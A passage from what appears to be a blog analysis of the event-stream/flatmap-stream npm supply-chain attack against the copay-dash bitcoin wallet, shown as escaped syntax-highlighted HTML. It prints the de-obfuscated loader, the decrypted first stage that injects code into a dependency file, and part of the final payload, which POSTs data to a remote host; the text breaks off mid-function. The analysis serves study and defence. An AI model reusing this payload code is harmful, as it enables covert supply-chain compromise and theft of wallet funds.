&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// decoded = decipher.update(n[0], e(n[8]), e(n[9]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;decoded &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; decipher.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;hex&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n); &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// IDK why this is here...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// a += u.final(e(n[9]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;decoded &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; decipher.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var f = new module.constructor;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; newModule &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// f.paths = module.paths, f[e(n[7])](a, &quot;&quot;), f.exports(n[1])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// newModule.paths = module.paths, newModule[&apos;_compile&apos;](decoded, &quot;&quot;), newModule.exports(n[1])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// newModule.paths = module.paths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// newModule[&apos;_compile&apos;](decoded, &quot;&quot;) // Module.prototype._compile = function(content, filename)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// newModule.exports(n[1])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, the code requires in &lt;code&gt;./test/data.js&lt;/code&gt;, which was also snuck into the npm published version of &lt;code&gt;flatmap-stream&lt;/code&gt; despite not being in the GitHub source. The &lt;code&gt;test/data.js&lt;/code&gt; file contains an array of AES256-encrypted strings. The &lt;code&gt;npm_package_description&lt;/code&gt; environment variable is set by npm when a script is run in a parent package -- essentially, whatever top-level package is including &lt;code&gt;event-stream&lt;/code&gt; -&gt; &lt;code&gt;flatmap-stream&lt;/code&gt; as dependencies will have its description set to &lt;code&gt;npm_package_description&lt;/code&gt; (along other bits of metadata). So, the code decrypts the contents of &lt;code&gt;test/data.js&lt;/code&gt; using the &lt;code&gt;npm_package_description&lt;/code&gt; as the AES256 key, and attempts to execute the result.&lt;/p&gt;
&lt;p&gt;For the vast majority of parent packages, this will result in an error (which the malicious code silently catches and ignores), since their package description won&apos;t be the correct AES256 key and the output will be nonsense. So it&apos;s a very targeted attack against just one package. &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/116#issuecomment-441744514&quot;&gt;maths22&lt;/a&gt; and others pulled the list of npm packages which include &lt;code&gt;event-stream&lt;/code&gt; as a dependency and brute-forced it until they figured out the targeted package: &lt;a href=&quot;https://www.npmjs.com/package/copay-dash&quot;&gt;copay-dash&lt;/a&gt;, a bitcoin wallet platform. Its description, &lt;code&gt;&quot;A Secure Bitcoin Wallet&quot;&lt;/code&gt;, successfully decrypts the &lt;code&gt;test/data.js&lt;/code&gt; contents into the following (courtesy of &lt;a href=&quot;https://github.com/joepie91&quot;&gt;joepie91&lt;/a&gt;):&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/*@@*/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/build&lt;/span&gt;&lt;span style=&quot;color:#22863A;font-weight:bold&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#22863A;font-weight:bold&quot;&gt;\-&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;release/&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(process.argv[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; process.env.npm_package_description,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;fs&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            n &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;statSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            c &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            o &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;crypto&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createDecipher&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;aes256&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, t),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            s &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; o.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        s &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (s &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; o.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; a &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/*@@*/&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        0&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; a &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (c &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, a)), r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i, c &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; s, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;utimesSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i, n.atime, n.mtime), process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;exit&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i, c, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;utimesSync&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i, n.atime, n.mtime)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code runs &lt;em&gt;another&lt;/em&gt; round of decryption and executes the final malicious script:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/*@@*/&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; o &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                a &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;crypto&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                c &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;-----BEGIN PUBLIC KEY-----&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;n2wIDAQAB&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;n-----END PUBLIC KEY-----&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; i&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; o.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    hostname: e,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    port: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8080&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    method: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    path: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    headers: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;                        &quot;Content-Length&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: n.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;                        &quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;text/html&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                }, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {}), r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n), r.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
